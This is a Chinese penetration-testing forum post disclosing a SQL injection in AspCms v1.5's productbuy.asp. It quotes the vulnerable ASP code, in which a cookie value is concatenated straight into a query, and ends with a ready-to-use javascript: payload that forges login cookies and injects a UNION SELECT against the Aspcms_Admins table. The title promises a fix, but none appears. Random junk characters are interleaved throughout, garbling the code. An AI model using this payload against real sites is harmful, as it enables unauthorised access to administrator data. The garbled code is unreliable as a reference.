中国网络渗透测试联盟

标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-27 08:35
标题: AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
$ v1 G3 S4 j% w也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。/ ^3 ^9 M& _' p1 U' N& f* x* i, m% V/ X
废话不多说,看代码:
/ ^9 j4 h! P+ `  N# H1 c1 a
7 z. {3 T' H2 X<%2 [/ m0 A0 Q. K; K  o3 u& j0 Z

0 Q+ V8 m/ Q4 {if action = "buy" then3 F9 F- ^4 R4 x! s
1 i" A5 ?; E2 }. i
        addOrder()+ j3 W% U3 n# q- n9 V

9 s3 E2 K8 n/ t& @( K$ xelse/ z+ Z$ D5 N9 r  Y! q8 I
1 c& i+ G6 Q* C' ^1 Z
        echoContent()9 L# n" @8 z$ t; t
9 D+ d# m1 |, x
end if# n: ~/ U0 `/ M8 k5 ~

2 K4 R4 ?, ^$ \$ _) H/ T' X& @* P/ Q1 Q+ H

) a0 U1 l5 {8 s$ ^3 L( h……略过/ ?. t3 H0 {. R. ?
# y, t+ H$ M. p: G) [! L' {

; ?6 i9 `8 Y/ Y* q% H
' T* u: N) C. |+ Y( I6 ]9 x5 qSub echoContent()' k! \, E) v0 o& j$ z

/ i( ]/ z( J4 [2 t        dim id' k5 o# g% G* O& [) X' ?$ [

8 o* K+ e: y7 n$ ~        id=getForm("id","get")
, J* y1 m( A3 ^5 ]7 T$ C( U- }  d: V1 Y1 c8 Y
        3 Z% B. A. g5 ^5 J

. T! Y% j$ A  S$ w        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
- r& ~4 p4 j' K0 C. H$ o, ]
& d1 |: q% M' ~( Q- z! Q        
8 M/ d  S. V; z& B% d4 T: _* _; |" @$ }$ k  c) l. {. y
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
4 V1 R% U2 e7 d1 h( x8 u  W; c* v/ K8 D7 \
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct8 C6 B8 W  ]% \" c9 x  V9 w

: i9 d0 G! U1 b% Y* T        Dim templatePath,tempStr
% Q9 L% s; j& y( f0 S" P" i6 R: q5 m+ I6 c7 t( T
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
' P, T. A. X: W9 u7 c
$ ?- {1 m) R2 X2 Q3 K& b: t2 h4 ]
7 j) A0 C. u7 r. b+ i/ \+ ]/ u6 u1 {) {: S  |. H
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
' Q/ l9 u: y: g1 q+ n8 E0 ?, U: K  H/ o: A3 ]
        selectproduct=rsObj(0)8 h0 v( a+ C/ ?& D) Q3 v6 ^7 I
: f2 a. P% V% X
        3 @  i4 Q5 f: v1 P! V# O  y
: y- W/ R+ l% |$ d* \! h& a
        Dim linkman,gender,phone,mobile,email,qq,address,postcode# F8 Q+ t# l" Y6 \3 M" k

: P  k3 Y8 t7 a( ]) `* b% B        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0; l0 J  T% [3 i

& t2 [( y# A  R        if rCookie("loginstatus")=1 then  
  F* d9 D8 B/ U
, ~0 _6 i% h$ \! ^" q                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")) i4 [2 [; m+ l4 x

- @# n/ ?" c. R7 {! e                linkman=rsObj("truename")6 u; p  o* M9 q7 ]

2 O; [5 N. ]' H6 i! [( {$ Q                gender=rsObj("gender")- g% c5 A1 _% N  r* n5 s: o
8 `/ A4 A6 B; n$ G" h9 ~/ M  W
                phone=rsObj("phone")9 E# t; y5 H- o& d" @! E* M

* c7 w! ~( o+ Z( P5 N                mobile=rsObj("mobile")4 h" A! c0 q0 h; e
1 [6 t3 }/ @" r$ A6 ^/ A  V
                email=rsObj("email")1 o  l9 @$ {8 T1 S+ I# V6 e

* n: A4 v8 [1 \' a% z7 u                qq=rsObj("qq")& x, y. Q! y; F* @% @5 Q$ @' P

. w( A; q! k, [, ]1 A$ w+ U                address=rsObj("address")
5 i, w% S# o+ k# u! d
; ]3 e; Y5 D) W                postcode=rsObj("postcode")
) Y/ b8 w' d; \5 R! _% b$ N+ H3 N/ n- ^$ v& x
        else
, S6 {+ N& z8 L" L! r; \: `: t$ w6 O# n' L
                gender=1
# @1 g; \; ~$ I: L  t
# L: ?9 Q% f$ ?7 u        end if/ E4 O2 B9 Y5 D% L: g2 G& |
" s: E. Q+ ^8 M
        rsObj.close()4 v* g+ X2 l2 f! v; M9 H0 d1 ^6 M* m

; J: |* h/ a4 v% _0 `: p/ ]3 d               
( T* w( H% E9 ?( v. W7 y# ~' B# `/ F2 l2 O
        with templateObj ! W, f6 b1 H* c0 ^

5 ?5 o; a3 K2 ?$ Q/ p                .content=loadFile(templatePath)        
! v8 D! W. P# b) _$ _& E
$ b& Z/ H* n4 M  Y3 Q. z                .parseHtml()
% u; H+ v7 z/ C" \" [) ~3 U4 P7 N! e" s6 s
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
6 t1 L8 L; Q8 z
3 U; p# |% Z* @                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                5 j. t$ L4 Z0 B5 ^" E: `$ X  w
) D$ V! V# a4 o4 R3 j
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
: Z% `( n; \/ J* `1 a- {! v$ B
. U* ]+ f( P2 O/ x                .content=replaceStr(.content,"[aspcms:phone]",phone)               
. m+ K1 y* G+ z/ t% v) R& j- A8 O. J: ~( H  w) v
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
+ Y! b0 W9 D) E# X( c7 p- S+ R( H2 i  z; m! N1 N6 B
                .content=replaceStr(.content,"[aspcms:email]",email)                        ) B3 i" e5 \" S
; s$ l" s9 {8 k1 d- ?+ |
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        * X! q* Z: ~7 Q/ O# r; @
& F1 C8 B4 t% _! R5 P, O
                .content=replaceStr(.content,"[aspcms:address]",address)                        * ^# v5 Y7 p7 w; G5 g5 b- Q5 F
' i9 ^. d) e+ \0 c0 A/ h
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
9 {4 C, o3 F5 E6 H8 h! N/ h* H
$ ~0 [2 o$ S' M+ X; v, |% J, ~' x0 a: @                .parseCommon()                 
, F" u) }' ^2 y% J, K( \  X. g# t7 N7 S5 U4 ?% T( ^$ U
                echo .content
( n: o+ ]! S; _; J& Q- ?3 i$ x$ G* e2 m* q
        end with
2 B8 N( i$ j" e' q6 T1 p0 j/ q& W- o& H4 b
        set templateobj =nothing : terminateAllObjects( k7 J7 q. K% _$ v2 s* N

& L. v# D! k3 `1 z7 HEnd Sub
& X. K8 O# o: [. E7 y: F漏洞很明显,没啥好说的; s2 l! J8 n) z  v/ k
poc:
& }+ A) C$ p1 U, k- a4 C$ A7 w) l/ G# _8 n3 S4 W* B
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​2 }" G& B! r  Q$ z

' Z5 \& L1 x1 I# f" m7 a8 w- ?




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2